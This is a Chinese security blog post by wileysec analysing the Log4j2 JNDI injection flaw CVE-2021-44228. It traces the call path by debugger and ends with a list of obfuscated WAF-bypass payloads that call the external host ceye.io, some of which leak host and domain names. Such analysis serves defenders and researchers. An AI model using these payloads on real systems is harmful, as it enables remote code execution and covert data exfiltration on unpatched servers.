Log4j2反序列化利用与分析

Java安全

基本概述

Apache Log4j是一个流行的Java日志框架,用于将应用程序的日志输出到不同的目标,如文件、控制台或远程服务器。

2021年被爆存在远程代码执行漏洞,CVE漏洞编号为CVE-2021-44228,该漏洞可能导致远程代码执行,该漏洞的根本原因在于Log4j2中的一个特性,它允许开发人员通过特殊的日志消息来触发远程代码执行。具体来说,当Log4j2解析包含特定的JNDI(Java命名和目录接口)引用的日志消息时,它将尝试通过JNDI查找来获取对应资源的引用。攻击者可以构造一个恶意的JNDI引用,通过发送包含该引用的日志消息来触发远程代码执行。

影响版本

2.0.0 <= Apache Log4j <= 2.14.0

JDK影响版本是根据JDK本身版本有关,高版本也存在被绕过风险

Log4j使用基础

使用Log4j先引入依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>

resources 文件夹中新建 log4j2.xml 文件,用于配置log4j

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>
        <File name="File" fileName="logs/application.log">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </File>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console" />
            <AppenderRef ref="File" />
        </Root>
    </Loggers>
</Configuration>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Main.class);
        logger.info("这是一条日志"); // 这是一条日志
        logger.info("${java:os}"); // Mac OS X 10.16 unknown, architecture: x86_64-64
        logger.info("${upper:aaa}"); // AAA
    }
}

${} 在Log4j中被称为变量插值,它是一种特殊的语法,用于在日志消息中引用和替换变量的值,通过在 ${} 中指定变量名称,Log4j可以动态地将变量的值插入到日志消息中

需要注意的是,在Log4j中使用变量插值时,变量的值可以从不同的来源获取,例如系统属性、环境变量、配置文件等。这使得Log4j可以根据不同的部署环境和配置文件进行灵活的日志定制

CVE-2021-44228调试分析

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Main.class);
        logger.info("${jndi:ldap://127.0.0.1:8085/kOXQHHlE}");
    }
}

image-20230809172622090

image-20230809173355020

image-20230809174149191

info 方法中,判断了是否开启了日志记录

image-20230809174450035

调用了 logMessageSafely 方法,用于将日志安全的记录到日志文件中,确保不会记录日志消息时发生任何异常和错误,继续往下走

image-20230810105409907

logMessageTrackRecursion 方法用于记录递归调用的日志信息,再继续往下走

image-20230810105723074

tryLogMessage 方法尝试记录日志消息,分析切入点正是这里

image-20230810105954750

在这个方法里其实就是调用了 log 方法,如果出现异常,则抛出异常,跟进 log 方法看一下

image-20230810111332129

image-20230810111610244

获取了 Logger 的日志记录器配置对象,再调用了 log 方法

image-20230810112142198

在该方法中通过日志事件工厂对象 logEventFactory 创建了一个Log4j日志事件对象,并作为参数调用了 log 方法,继续往下走

image-20230810112549822

这里调用 processLogEvent 方法处理日志事件

image-20230810121902360

image-20230810122009989

这里就是对日志事件的输出目标附加器进行遍历,我们再来看下在 callAppender 方法中做了什么

image-20230810122851390

shouldSkip 方法用于控制和判断日志事件是否被过滤或是否存在递归调用,随后调用了 callAppenderPreventRecursion 预防递归调用附加器方法

image-20230810123341471

到了这里尝试对Log4j日志事件对象调用附加器,继续跟进

image-20230810123525884

这里将日志事件对象添加到 ConsoleAppender 附加器中

image-20230810123803254

append 方法中调用了 tryAppend 方法,在该方法中判断了是否开启了直接编码器,默认是开启的,调用 directEncodeEvent 方法

image-20230810124036153

在这里获取了日志事件布局,在日志事件布局中包含输出的格式、日期、日志级别、消息内容等信息,再调用了日志事件布局对象的 encode 方法

image-20230810124523804

调用 toText 方法将日志事件序列化为字符串

image-20230810124950786

在该方法中调用序列化器的 toSerializable 方法,serializer 其实就是模式序列化器,有如下的模式格式化器:

DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

我们需要关注是 MessagePatternConverter 消息格式转换器,因为只有这一格式转换器是我们可控的,也就是一开始传入的参数 message,我们跟进一下toSerializable方法

image-20230810125820549

这里其实就是对模式序列化器进行遍历格式化调用 format 方法,我们的关注点是在 MessagePatternConverter 中,所以跳过无关紧要的格式转换器,直接到索引为8的 PatternFormatter 模式格式化器 format 方法中看做了什么

image-20230810141555878

调用了转换器的 format 方法,目前的转换器是 MessagePatternConverter

image-20230810144100615

image-20230810144359151

msg 对象中的 message 就是我们一开始传入参数的日志消息,随后将 msg 对象强转成 StringBuilderFormattable 类型再调用了 formatTo 方法

workingBuilder 对象存放的就是日志输出的前缀信息

image-20230810144533323

这里其实就是将 message 内容追加到 workingBuilder

image-20230810144916100

noLookups 默认为false,这里对 workingBuilder 内容进行遍历,判断第一个字符和第二个字符是否分别为 ${ 符号,value 变量就是截取的字符串 ${jndi:ldap://127.0.0.1:8085/kOXQHHlE},接着设置 workingBuilder 的长度为 offset,并追加内容为 config.getStrSubstitutor().replace() 方法的返回值

image-20230810145827565

replace 方法中调用了 substitute 方法

image-20230810150322350

substitute 方法的前面部分主要是获取了变量的前缀和后缀匹配器,前缀匹配器为 ${,后缀匹配器为 },再获取了转义特殊字符的转义字符也就是 $ 和分隔符匹配器 :-,接着就是把 buf 对象转换为字符数组,从0开始循环一直到这个字符串的长度38为止,然后依次循环匹配是否到前缀匹配器,前两个就匹配到了,返回值不是0所以走else语句

image-20230810151005978

image-20230810151053947

image-20230810151212154

接着就是继续循环查找后缀匹配器

image-20230810151343284

bufName 变量就是去掉前缀和后缀匹配器后的字符串,然后再调用了 substitute 方法

image-20230810153616999

还是到了这个方法里,再重复上面的操作,一直找前缀匹配器找不到,后面接着查找分隔符匹配器也没有找到,然后就是调用 resolveVariable 方法解析变量

image-20230810154036596

image-20230810154238543

在该方法里获取了变量解析器,解析器支持的Lookup如上图所示

image-20230810154845217

var 的字符串以 : 分割,获取了后面的内容,并且获取字符串的前缀 jndi,再从 StrLookupMap 对象中查找对应的 Lookup 类,接着就是调用了 JndiLookup 类的 lookup 方法

image-20230810155214967

然后就是获取了默认的JNDI管理器,通过该管理器调用 lookup 方法

image-20230810155426911

image-20230810155634899

这里就是调用了原生的 lookup 方法,后面就是JNDI注入了,执行了恶意ldap服务上的恶意代码,最终成功执行

Payload变形绕过WAF

${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io

参考链接

https://www.cnblogs.com/zpchcbd/p/16200105.html

https://drun1baby.top/2022/08/09/Log4j2%E5%A4%8D%E7%8E%B0/

Author: wileysec

Permalink: https://wileysec.github.io/91ba9d0d39fd.html

Comments